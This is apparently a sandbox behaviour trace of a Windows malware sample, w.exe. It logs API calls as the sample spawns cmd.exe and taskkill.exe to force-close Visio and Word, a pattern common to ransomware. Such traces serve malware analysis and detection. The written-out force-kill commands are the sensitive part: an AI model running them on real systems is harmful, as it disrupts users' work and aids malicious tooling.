	[0048.834] GetProcessHeap () returned 0x610000
	[0048.834] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x610990, Size=0x76) returned 0x610990
	[0048.834] GetProcessHeap () returned 0x610000
	[0048.834] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x610990) returned 0x76
	[0048.834] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0048.835] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x36ed1c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36ed1c) returned 0xffffffff
	[0048.835] GetLastError () returned 0x2
	[0048.835] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x36ed1c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36ed1c) returned 0xffffffff
	[0048.835] GetLastError () returned 0x2
	[0048.835] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0048.835] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x36ed1c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36ed1c) returned 0x623558
	[0048.835] GetProcessHeap () returned 0x610000
	[0048.835] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x14) returned 0x610a10
	[0048.835] FindClose (in: hFindFile=0x623558 | out: hFindFile=0x623558) returned 1
	[0048.835] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x36ed1c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36ed1c) returned 0xffffffff
	[0048.835] GetLastError () returned 0x2
	[0048.836] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x36ed1c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36ed1c) returned 0x623558
	[0048.836] GetProcessHeap () returned 0x610000
	[0048.836] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x610a10, Size=0x4) returned 0x610a10
	[0048.836] FindClose (in: hFindFile=0x623558 | out: hFindFile=0x623558) returned 1
	[0048.836] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0048.836] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0048.836] GetConsoleTitleW (in: lpConsoleTitle=0x36f214, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0048.836] InitializeProcThreadAttributeList (in: lpAttributeList=0x36f09c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x36f164 | out: lpAttributeList=0x36f09c, lpSize=0x36f164) returned 1
	[0048.836] UpdateProcThreadAttribute (in: lpAttributeList=0x36f09c, dwFlags=0x0, Attribute=0x60001, lpValue=0x36f15c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x36f09c, lpPreviousValue=0x0) returned 1
	[0048.836] GetStartupInfoW (in: lpStartupInfo=0x36f058 | out: lpStartupInfo=0x36f058*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0)) 
	[0048.836] GetProcessHeap () returned 0x610000
	[0048.836] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x18) returned 0x623558
	[0048.836] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0048.836] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0048.836] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0048.836] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0048.836] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0048.836] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0048.836] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0048.836] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0048.836] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0048.836] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0048.837] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0048.837] GetProcessHeap () returned 0x610000
	[0048.837] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x623558 | out: hHeap=0x610000) returned 1
	[0048.837] GetProcessHeap () returned 0x610000
	[0048.837] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xa) returned 0x61fed8
	[0048.838] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0048.839] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im visio.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x36f0f8*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im visio.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f144 | out: lpCommandLine="taskkill  /f /im visio.exe ", lpProcessInformation=0x36f144*(hProcess=0x78, hThread=0x74, dwProcessId=0x7d8, dwThreadId=0x184)) returned 1
	[0048.844] CloseHandle (hObject=0x74) returned 1
	[0048.844] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0048.844] GetProcessHeap () returned 0x610000
	[0048.845] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x625ec8 | out: hHeap=0x610000) returned 1
	[0048.845] GetEnvironmentStringsW () returned 0x634a40*
	[0048.845] GetProcessHeap () returned 0x610000
	[0048.845] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb36) returned 0x624088
	[0048.845] FreeEnvironmentStringsW (penv=0x634a40) returned 1
	[0048.845] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0049.140] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x36f038 | out: lpExitCode=0x36f038*=0x80) returned 1
	[0049.140] CloseHandle (hObject=0x78) returned 1
	[0049.140] _vsnwprintf (in: _Buffer=0x36f180, _BufferCount=0x13, _Format="%08X", _ArgList=0x36f044 | out: _Buffer="00000080") returned 8
	[0049.140] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0049.140] GetProcessHeap () returned 0x610000
	[0049.140] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624088 | out: hHeap=0x610000) returned 1
	[0049.140] GetEnvironmentStringsW () returned 0x624088*
	[0049.140] GetProcessHeap () returned 0x610000
	[0049.140] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb5c) returned 0x625ec8
	[0049.140] FreeEnvironmentStringsW (penv=0x624088) returned 1
	[0049.140] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0049.140] GetProcessHeap () returned 0x610000
	[0049.141] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x625ec8 | out: hHeap=0x610000) returned 1
	[0049.141] GetEnvironmentStringsW () returned 0x624088*
	[0049.141] GetProcessHeap () returned 0x610000
	[0049.141] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb5c) returned 0x625ec8
	[0049.141] FreeEnvironmentStringsW (penv=0x624088) returned 1
	[0049.141] GetProcessHeap () returned 0x610000
	[0049.141] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x61fed8 | out: hHeap=0x610000) returned 1
	[0049.141] DeleteProcThreadAttributeList (in: lpAttributeList=0x36f09c | out: lpAttributeList=0x36f09c) 
	[0049.141] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0049.141] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0049.141] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0049.141] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4ab841ac | out: lpMode=0x4ab841ac) returned 0
	[0049.141] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0049.141] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4ab841b0 | out: lpMode=0x4ab841b0) returned 0
	[0049.141] GetConsoleOutputCP () returned 0x1b5
	[0049.141] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab84260 | out: lpCPInfo=0x4ab84260) returned 1
	[0049.141] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0049.142] exit (_Code=128) 

Process:
	id = "77"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x481fd000"
	os_pid = "0x7d8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "76"
	os_parent_pid = "0xbec"
	cmd_line = "taskkill  /f /im visio.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 317
	os_tid = 0x184


Thread:
	id = 318
	os_tid = 0x78c


Thread:
	id = 319
	os_tid = 0xc0


Thread:
	id = 320
	os_tid = 0x7d0


Thread:
	id = 321
	os_tid = 0x808


Process:
	id = "78"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x47f67000"
	os_pid = "0x7e4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im winword.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 322
	os_tid = 0x7a4

	[0049.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x30f994 | out: lpSystemTimeAsFileTime=0x30f994*(dwLowDateTime=0x2f5e3f0, dwHighDateTime=0x1d52dc5)) 
	[0049.224] GetCurrentProcessId () returned 0x7e4
	[0049.224] GetCurrentThreadId () returned 0x7a4
	[0049.224] GetTickCount () returned 0x1c792
	[0049.224] QueryPerformanceCounter (in: lpPerformanceCount=0x30f98c | out: lpPerformanceCount=0x30f98c*=16953411161) returned 1
	[0049.225] GetModuleHandleA (lpModuleName=0x0) returned 0x49db0000
	[0049.225] __set_app_type (_Type=0x1) 
	[0049.225] __p__fmode () returned 0x74eb31f4
	[0049.225] __p__commode () returned 0x74eb31fc
	[0049.225] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49dd21a6) returned 0x0
	[0049.226] __getmainargs (in: _Argc=0x49dd4238, _Argv=0x49dd4240, _Env=0x49dd423c, _DoWildCard=0, _StartInfo=0x49dd4140 | out: _Argc=0x49dd4238, _Argv=0x49dd4240, _Env=0x49dd423c) returned 0
	[0049.226] GetCurrentThreadId () returned 0x7a4
	[0049.226] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x7a4) returned 0x60
	[0049.226] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0049.226] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0049.226] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0049.226] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0049.226] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x30f924 | out: phkResult=0x30f924*=0x0) returned 0x2
	[0049.227] VirtualQuery (in: lpAddress=0x30f95b, lpBuffer=0x30f8f4, dwLength=0x1c | out: lpBuffer=0x30f8f4*(BaseAddress=0x30f000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0049.227] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x30f8f4, dwLength=0x1c | out: lpBuffer=0x30f8f4*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0049.227] VirtualQuery (in: lpAddress=0x211000, lpBuffer=0x30f8f4, dwLength=0x1c | out: lpBuffer=0x30f8f4*(BaseAddress=0x211000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0049.227] VirtualQuery (in: lpAddress=0x213000, lpBuffer=0x30f8f4, dwLength=0x1c | out: lpBuffer=0x30f8f4*(BaseAddress=0x213000, AllocationBase=0x210000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0049.227] VirtualQuery (in: lpAddress=0x310000, lpBuffer=0x30f8f4, dwLength=0x1c | out: lpBuffer=0x30f8f4*(BaseAddress=0x310000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0049.227] GetConsoleOutputCP () returned 0x1b5
	[0049.227] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49dd4260 | out: lpCPInfo=0x49dd4260) returned 1
	[0049.227] SetConsoleCtrlHandler (HandlerRoutine=0x49dce72a, Add=1) returned 1
	[0049.227] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0049.227] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0049.227] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0049.227] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49dd41ac | out: lpMode=0x49dd41ac) returned 0
	[0049.227] _get_osfhandle (_FileHandle=0) returned 0xac
	[0049.228] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x49dd41b0 | out: lpMode=0x49dd41b0) returned 0
	[0049.228] GetEnvironmentStringsW () returned 0x542008*
	[0049.228] GetProcessHeap () returned 0x530000
	[0049.228] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xaca) returned 0x542ae0
	[0049.228] FreeEnvironmentStringsW (penv=0x542008) returned 1
	[0049.228] GetProcessHeap () returned 0x530000
	[0049.228] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4) returned 0x540c40
	[0049.228] GetEnvironmentStringsW () returned 0x542008*
	[0049.228] GetProcessHeap () returned 0x530000
	[0049.228] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xaca) returned 0x5435b8
	[0049.228] FreeEnvironmentStringsW (penv=0x542008) returned 1
	[0049.228] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e894 | out: phkResult=0x30e894*=0x68) returned 0x0
	[0049.228] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x0, lpData=0x30e8a0*=0x0, lpcbData=0x30e898*=0x1000) returned 0x2
	[0049.228] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x4, lpData=0x30e8a0*=0x1, lpcbData=0x30e898*=0x4) returned 0x0
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x0, lpData=0x30e8a0*=0x1, lpcbData=0x30e898*=0x1000) returned 0x2
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x4, lpData=0x30e8a0*=0x0, lpcbData=0x30e898*=0x4) returned 0x0
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x4, lpData=0x30e8a0*=0x40, lpcbData=0x30e898*=0x4) returned 0x0
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x4, lpData=0x30e8a0*=0x40, lpcbData=0x30e898*=0x4) returned 0x0
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x0, lpData=0x30e8a0*=0x40, lpcbData=0x30e898*=0x1000) returned 0x2
	[0049.229] RegCloseKey (hKey=0x68) returned 0x0
	[0049.229] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e894 | out: phkResult=0x30e894*=0x68) returned 0x0
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x0, lpData=0x30e8a0*=0x40, lpcbData=0x30e898*=0x1000) returned 0x2
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x4, lpData=0x30e8a0*=0x1, lpcbData=0x30e898*=0x4) returned 0x0
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x0, lpData=0x30e8a0*=0x1, lpcbData=0x30e898*=0x1000) returned 0x2
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x4, lpData=0x30e8a0*=0x0, lpcbData=0x30e898*=0x4) returned 0x0
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x4, lpData=0x30e8a0*=0x9, lpcbData=0x30e898*=0x4) returned 0x0
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x4, lpData=0x30e8a0*=0x9, lpcbData=0x30e898*=0x4) returned 0x0
	[0049.229] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e89c, lpData=0x30e8a0, lpcbData=0x30e898*=0x1000 | out: lpType=0x30e89c*=0x0, lpData=0x30e8a0*=0x9, lpcbData=0x30e898*=0x1000) returned 0x2
	[0049.229] RegCloseKey (hKey=0x68) returned 0x0
	[0049.229] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163039
	[0049.229] srand (_Seed=0x5d163039) 
	[0049.229] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im winword.exe \""
	[0049.229] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im winword.exe \""
	[0049.230] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49dd5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0049.230] GetProcessHeap () returned 0x530000
	[0049.230] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x210) returned 0x542008
	[0049.230] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x542010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0049.230] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49de0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0049.230] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49de0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0049.230] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49de0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0049.230] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0049.230] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0049.230] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0049.230] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0049.230] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0049.230] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0049.230] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0049.230] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0049.230] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0049.230] GetProcessHeap () returned 0x530000
	[0049.230] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x542ae0 | out: hHeap=0x530000) returned 1
	[0049.231] GetEnvironmentStringsW () returned 0x542220*
	[0049.231] GetProcessHeap () returned 0x530000
	[0049.231] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xae2) returned 0x544b80
	[0049.231] FreeEnvironmentStringsW (penv=0x542220) returned 1
	[0049.231] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49de0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0049.231] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49de0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0049.231] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0049.231] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0049.231] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0049.231] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0049.231] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0049.231] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0049.231] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0049.231] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0049.231] GetProcessHeap () returned 0x530000
	[0049.231] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x54) returned 0x545670
	[0049.231] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x30f660 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0049.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x30f660, lpFilePart=0x30f65c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f65c*="Desktop") returned 0x25
	[0049.231] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
